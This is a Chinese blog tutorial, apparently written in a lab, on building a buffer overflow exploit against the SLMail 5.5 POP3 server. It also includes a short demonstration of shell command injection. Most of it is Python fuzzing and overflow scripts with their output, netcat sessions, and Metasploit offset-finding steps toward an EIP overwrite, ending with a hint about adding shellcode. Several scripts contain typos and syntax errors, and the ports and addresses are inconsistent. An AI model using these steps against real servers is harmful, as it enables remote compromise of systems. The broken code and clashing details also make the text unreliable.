您的位置:首页 > 其它

缓冲区溢出

2016-05-17 23:10 260 查看




root@kali:~# ls
a.sh  b.sh  公共  模板  视频  图片  文档  下载  音乐  桌面

root@kali:~# cat a.sh
#!/bin/bash
echo $1

root@kali:~# /a.sh adadadadadadd
adadadadadadd

root@kali:~# /a.sh pwd
pwd

root@kali:~# /a.sh ;pwd

/root

root@kali:~# /a.sh ;id

uid=0(root) gid=0(root) 组=0(root)

root@kali:~# /a.sh ;ls

a.sh  b.sh  公共  模板  视频  图片  文档  下载  音乐  桌面

root@kali:~# /a.sh &&ls

a.sh  b.sh  公共  模板  视频  图片  文档  下载  音乐  桌面

root@kali:~# /a.sh &ls
[1] 1699

a.sh  b.sh  公共  模板  视频  图片  文档  下载  音乐  桌面
[1]+ 已完成                   ./a.sh


管道符|,&,&&,‘ ’都可以导致这种问题;





先讲一下WINDOWS 缓冲区溢出



Winmail Mail Server既可以作为局域网邮件服务器、互联网邮件服务器,也可以作为拨号ISDN、ADSL宽带、FTTB、有线通(CableModem) 等接入方式的邮件服务器和邮件网关。

lmmunityDebugger_1_85_setup.exe能够加快编写利用安全漏洞代码、分析恶意软件和二进制文件逆向工程等过程的速度

mona.py 一个可以自动构造Rop Chain而且集成了metasploit计算偏移量功能的强大挖洞辅助插件



记住这个IP地址;



端口开放成功



服务启用成功;

安装lmmunityDebugger,傻瓜式操作,不说了



把mona.py放进这个目录下



这个时候,把防火墙关掉,或者打开25,110端口

root@kali:~# nc 192.168.1.119 25
220 lab.com SMTP Server SLMail 5.5.0.4433 Ready ESMTP spoken here
helo
250 lab.com
mail from
500 Syntax error, command unrecognized
exit
500 Syntax error, command unrecognized

quit
221 lab.com Service closing transmission channel


root@kali:~# nc 192.168.1.119 110
+OK POP3 server lab.com ready <00001.589347@lab.com>
USER yuanfh
+OK yuanfh welcome here
-ERR invalid password
quit
+OK POP3 server lab.com signing off


root@kali:~# nc 192.168.1.119 110
+OK POP3 server lab.com ready <00003.1700925@lab.com>
USER test
+OK test welcome here
pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


这里如果我们一直手动的输入内容,会很繁琐,所以使用一个脚本会更方便



#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(('192.168.20.32',110))
data = s.recv(1024)
print data

s.send('USER yuanfu'+'\r\n')
data = s.rec(1024)
print data

s.send('PASS test\r\n')
data = s.recv(1024)
print data

s.close()
print "\nDone!"

except:
print "Could not connect to POP3!"


root@kali:~# ./01.py

Sending evil buffer

+OK POP3 server lab.com ready <00003.1700925@lab.com>

+OK yuanfu welcome here

-ERR invalid password

Done!


了解RFC,RFC(Request For Comments)-意即“请求评议”,包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家,那么RFC无疑是最重要也是最经常需要用到的资料之一,所以RFC享有网络知识圣经之美誉。

模糊测试pass命令接收到大量数据时是否溢出。

第二个脚本,不断的增大对目标服务器增大的数据量;EIP寄存器存放下一条指令的地址



#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200

for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.20.32',100))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS' + string + '\r\n')
s.send('QUIT\r\n')
s.close()


运行

root@kali:~# ./02 .py
Fuzzing PASS with 1 bytes
Fuzzing PASS with 100 bytes
Fuzzing PASS with 300 bytes
Fuzzing PASS with 500 bytes
Fuzzing PASS with 700 bytes
Fuzzing PASS with 900 bytes
Fuzzing PASS with 1100 bytes
Fuzzing PASS with 100 bytes
Fuzzing PASS with 1300 bytes
Fuzzing PASS with 1500 bytes
Fuzzing PASS with 1700 bytes
Fuzzing PASS with 1900 bytes
Fuzzing PASS with 2100 bytes
Fuzzing PASS with 2300 bytes
Fuzzing PASS with 2500 bytes
Fuzzing PASS with 2700 bytes
Fuzzing PASS with 2900 bytes
Fuzzing PASS with 3100 bytes
Traceback (most recent call last):
File "./02.py", line 13, in <module>
connect = s.connect(('192.168.1.119',110))
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused










点击播放按钮;这个时候运行脚本;







程序已经无法正常工作;2700个字符实现EIP寄存器溢出

所以我们可以发送大量的数据包,修改EIP的地址,指向一个内存地址空间,这这个空间添加后门,如果实现,就可以控制目标服务器了。

我们在使用一个脚本



直接发2700个数据包;很快结束;

再发26000个数据包,很快结束,不过程序没有挂;EIP没有被填满;

root@kali:~# ./03.py

Sending evil buffer

Done!




#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
buffer = "A" * 2700
try:
print "\nSending evil buffer..."
s.connect(('192.168.20.32',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.rec(1024)
s.send('PASS' + buffer 'test\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"


找到精确溢出的4个字节 ,使用二分法(笨,慢)或者是唯一字串法,生成2700个字符,四个字符一组,发送唯一的字符串;

我们使用kali里面自带的工具;

usr/share/metasloit-framework/tools/pattern_create.rb 2700

root@kali:~# cd usr/share/metasloit-framework/tools

root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 2700

root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 39694438
[*] Exact match at offset 2606

root@kali:usr/share/metasloit-framework/tools# 8Di9




把字符串复制粘贴到脚本里边;



检查服务是否开启,然后运行脚本;



内存地址与显示的地址相反;

所以实际上顺序是 38 44 69 39(16进制);

ASCLL转码后就是 8 D i 9



第五个脚本;





运行脚本;





写入成功;如果我们写入的不是20个C,是shellcode恶意代码,呵呵。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: